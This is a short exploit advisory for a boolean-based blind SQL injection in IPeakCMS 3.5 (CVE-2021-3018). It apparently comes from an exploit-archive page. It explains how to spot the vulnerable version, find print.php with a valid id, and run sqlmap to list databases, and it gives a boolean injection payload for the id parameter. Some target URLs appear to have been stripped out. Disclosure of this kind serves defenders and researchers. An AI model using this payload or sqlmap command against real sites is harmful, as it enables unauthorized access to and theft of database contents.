Authored by MoeAlBarbari

IPeakCMS version 3.5 suffers from a blind remote SQL injection vulnerability.

advisories | CVE-2021-3018

# Exploit Title: IPeakCMS 3.5 - Boolean-based blind SQLi
# Date: 07.12.2020
# Exploit Author: MoeAlbarbari
# Vendor Homepage:
# Software Link: N/A
# Version: 3.5
# Tested on: BackBox Linux
# CVE : CVE-2021-3018

Check the CMS version :goto and you will notice that in the login box there is the CMS name and its version
Check if it's vulnerable, goto ->: if the print.php exists, then try to find any valid ID which returns page to print e.g:
Parameter: id (GET based)
Use SQLmap if you've found the valid id...
e.g: sqlmap -u "" --dbs
Payload : id=(SELECT (CASE WHEN(3104=3104) THEN 1 ELSE (SELECT 8458) END))